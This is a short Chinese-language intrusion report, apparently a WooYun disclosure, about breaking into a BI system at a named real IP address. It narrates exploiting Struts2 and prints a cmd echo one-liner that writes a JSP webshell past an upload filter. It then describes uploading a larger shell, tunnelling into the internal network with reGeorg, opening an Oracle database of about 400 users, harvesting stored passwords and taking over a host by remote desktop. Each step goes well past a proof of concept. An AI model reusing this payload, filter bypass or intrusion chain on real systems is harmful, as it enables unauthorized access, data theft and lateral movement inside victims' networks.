WooYun.org

1.从主站入手，拿基本信息

2.通过对以上几个系统的访问，发现端口是9090的BI系统存在struts2漏洞

登录处post到http://222.190.116.172:9090/biplatform/sysLoginVerif.action

3.本来到这里应该很简单，上传个木马直接getshell，但系统却对<>;等字符做了过滤，只要上传的文件里面包含<>;就会上传失败，shell也就无法写入
4.突破
经过无数次的尝试和对比，发现系统并没有任何类似安全狗的东西，而是网站本身对上传做了限制，经过测试发现该action无法上传<>等，但是在命令执行入却可以写入<>，如此就好办了，通过echo 写入文件，然后通过>重定向到其它目录
命令执行内容如下：

cmd /c echo ^<%(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%^> >  D:\tomcat7\webapps\ROOT\small.jsp

小马的地址就是http://222.190.116.172:9090/small.jsp
然后再通过小马成功上传大马，http://222.190.116.172:9090/cmd.jsp

接着上传reGeorg的jsp客户端，通过本地proxy代理到对方内网

通过代码了解到本地的oracle数据库，通过navicat连接成功

目测400多用户

又看了一下另一个表，发现这个系统的一个牛逼的东西，那就是这个系统的用户名和密码竟然保存在数据库里面

如此那就直接远程桌面了

接下来就可以畅游内网啦